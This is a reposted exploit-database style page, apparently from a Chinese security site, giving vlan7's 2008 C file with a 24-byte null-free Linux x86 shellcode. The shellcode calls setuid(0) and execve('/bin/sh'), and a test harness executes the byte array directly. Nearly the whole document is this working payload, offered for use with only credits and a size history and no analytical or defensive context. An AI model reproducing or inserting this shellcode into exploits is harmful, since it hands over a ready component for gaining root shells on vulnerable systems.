|
linux/x86 execve(/bin/sh,0,0) shellcode 24 bytes
|
|
来源：http://vlan7.blogspot.com 作者：vlan7 发布时间：2008-11-24
|
|
/*
History:
+ v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/
+ v2.0/2.1 (26 bytes) => (http://vlan7.blogspot.com/) (2.1) http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html (2.0)
+ v3.0 (25 bytes)
v4.0 (24 bytes)
################
*/
#include <stdio.h>
const char sc[]= "\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";
void main()
{
printf("\nSmallest GNU/Linux x86 setuid(0) + execve /bin/sh without NULLs"
"\n\nCoded by vlan7"
"\n\t + http://vlan7.blogspot.com"
"\n\n[+] Date: 23/11/2008"
"\n\n[+] Thanks to: Chema Garcia (aka sch3m4) (http://opensec.es) He has initiated the funny game :))"
"\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(sc)-1);
(*(void (*)()) sc)();
}
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
